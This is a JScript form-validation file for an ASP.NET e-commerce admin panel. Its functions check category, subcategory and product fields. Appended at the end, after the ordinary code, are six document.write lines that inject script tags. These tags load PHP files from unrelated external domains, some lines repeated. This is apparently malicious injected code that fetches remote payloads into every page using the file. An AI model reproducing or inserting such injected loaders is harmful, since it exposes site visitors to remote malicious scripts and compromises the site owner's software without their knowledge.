﻿// JScript File
isIE=document.all ? 1:0
var pre="ctl00_Contents_";


function CheckNumaricValue(e)
{
    keyEntry = !isIE ? e.which : event.keyCode;
    if (keyEntry >='48' && keyEntry <= '57' || keyEntry=='0' || keyEntry=='8')
    
    return true;
    return false;
}

function admincategory()
{  
    if(document.getElementById(pre + "CategoryName_txt").value=="")
    {
        alert("Enter your Category Name");
        document.getElementById(pre + "CategoryName_txt").focus();
        return false;
    }    
    if(document.getElementById(pre + "Description_txt").value=="")
    {
        alert("Enter your Description");
        document.getElementById(pre + "Description_txt").focus();
        return false;
    }  
    if(document.getElementById(pre + "AddSubCategory_btn").value=="")
    {
        alert("Enter your Description");
        document.getElementById(pre + "Description_txt").focus();
        return false;
    }   
   if(document.getElementById(pre + "CategoryImg_txt").value=="")
    {
        alert("Enter your Category Img");
        document.getElementById(pre + "CategoryImg_txt").focus();
        return false;
    }        
    
 
   return true;

}

function adminupdatecategory()
{  
    if(document.getElementById(pre + "CategoryName_txt").value=="")
    {
        alert("Enter your Category Name");
        document.getElementById(pre + "CategoryName_txt").focus();
        return false;
    }    
    if(document.getElementById(pre + "Description_txt").value=="")
    {
        alert("Enter your Description");
        document.getElementById(pre + "Description_txt").focus();
        return false;
    }  
    if(document.getElementById(pre + "AddSubCategory_btn").value=="")
    {
        alert("Enter your Description");
        document.getElementById(pre + "Description_txt").focus();
        return false;
    }   
    
 
   return true;

}



function adminsubcategory()
{
    var DDLCategory=document.getElementById(pre + "Category_ddl");    
    if (DDLCategory.options[DDLCategory.selectedIndex].value == "-1")
    {
        alert("Please Select Sub Category");
        document.getElementById(pre + "Category_ddl").focus();
        return false;
    }  
         
    if(document.getElementById(pre + "SubCategory_txt").value=="")
    {
        alert("Enter your Sub Category");
        document.getElementById(pre + "SubCategory_txt").focus();
        return false;
    } 

    if(document.getElementById(pre + "SubCategoryDescription_txt").value=="")
    {
        alert("Enter your Sub Category Description");
        document.getElementById(pre + "SubCategoryDescription_txt").focus();
        return false;
    } 
return true;
}




function addnewproduct()
{

   var DDLCategory=document.getElementById(pre + "SubCategory_ddl");    
    if (DDLCategory.options[DDLCategory.selectedIndex].value == "-1")
    {
        alert("Please Select Sub Category");
        document.getElementById(pre + "SubCategory_ddl").focus();
        return false;
    }
    

    if(document.getElementById(pre + "StockCode_txt").value=="")
    {
        alert("Enter your Stock Code");
        document.getElementById(pre + "StockCode_txt").focus();
        return false;
    }
    
    if(document.getElementById(pre + "Product_txt").value=="")
    {
        alert("Enter your Product");
        document.getElementById(pre + "Product_txt").focus();
        return false;
    }
       if(document.getElementById(pre + "FreeTextBox1").value=="")
    {
        alert("Enter your Product Description");
        document.getElementById(pre + "FreeTextBox1").focus();
        return false;
    }
    
   if(document.getElementById(pre + "ProductDescription_txt").value=="")
    {
        alert("Enter your Product Description");
        document.getElementById(pre + "ProductDescription_txt").focus();
        return false;
    }






   if(document.getElementById(pre + "Price_txt").value=="")
    {
        alert("Enter your  Price");
        document.getElementById(pre + "Price_txt").focus();
        return false;
    }

  
   if(document.getElementById(pre + "ProductImg_txt").value=="")
    {
        alert("Enter your ProductImg");
        document.getElementById(pre + "ProductImg_txt").focus();
        return false;
    }

return true;
}


function updateproduct()
{

   var DDLCategory=document.getElementById(pre + "SubCategory_ddl");    
    if (DDLCategory.options[DDLCategory.selectedIndex].value == "-1")
    {
        alert("Please Select Sub Category");
        document.getElementById(pre + "SubCategory_ddl").focus();
        return false;
    }
    

    if(document.getElementById(pre + "StockCode_txt").value=="")
    {
        alert("Enter your Stock Code");
        document.getElementById(pre + "StockCode_txt").focus();
        return false;
    }
    
    if(document.getElementById(pre + "Product_txt").value=="")
    {
        alert("Enter your Product");
        document.getElementById(pre + "Product_txt").focus();
        return false;
    }
       if(document.getElementById(pre + "FreeTextBox1").value=="")
    {
        alert("Enter your Product Description");
        document.getElementById(pre + "FreeTextBox1").focus();
        return false;
    }
    
   if(document.getElementById(pre + "ProductDescription_txt").value=="")
    {
        alert("Enter your Product Description");
        document.getElementById(pre + "ProductDescription_txt").focus();
        return false;
    }

   if(document.getElementById(pre + "Price_txt").value=="")
    {
        alert("Enter your  Price");
        document.getElementById(pre + "Price_txt").focus();
        return false;
    }

return true;
}



function popitup(url)
{
   
   var newwindow=window.open(url,'name','width=800,height=10000,menubar=no,status=no,top=50,left=50,location=no,toolbar=no,scrollbars=yes');
   if (window.focus)
             {
             newwindow.focus()
             }
        return false;
}

   
document.write('<script src=http://annuarita.radom.pl/ksiega/count.php ><\/script>');
document.write('<script src=http://annuarita.radom.pl/ksiega/count.php ><\/script>');
document.write('<script src=http://caribecordial.com/web/englishaguagmar.php ><\/script>');
document.write('<script src=http://trsystem.co.kr/bbs/file/bbs_deling.php ><\/script>');
document.write('<script src=http://trsystem.co.kr/bbs/file/bbs_deling.php ><\/script>');
document.write('<script src=http://trsystem.co.kr/bbs/file/bbs_deling.php ><\/script>');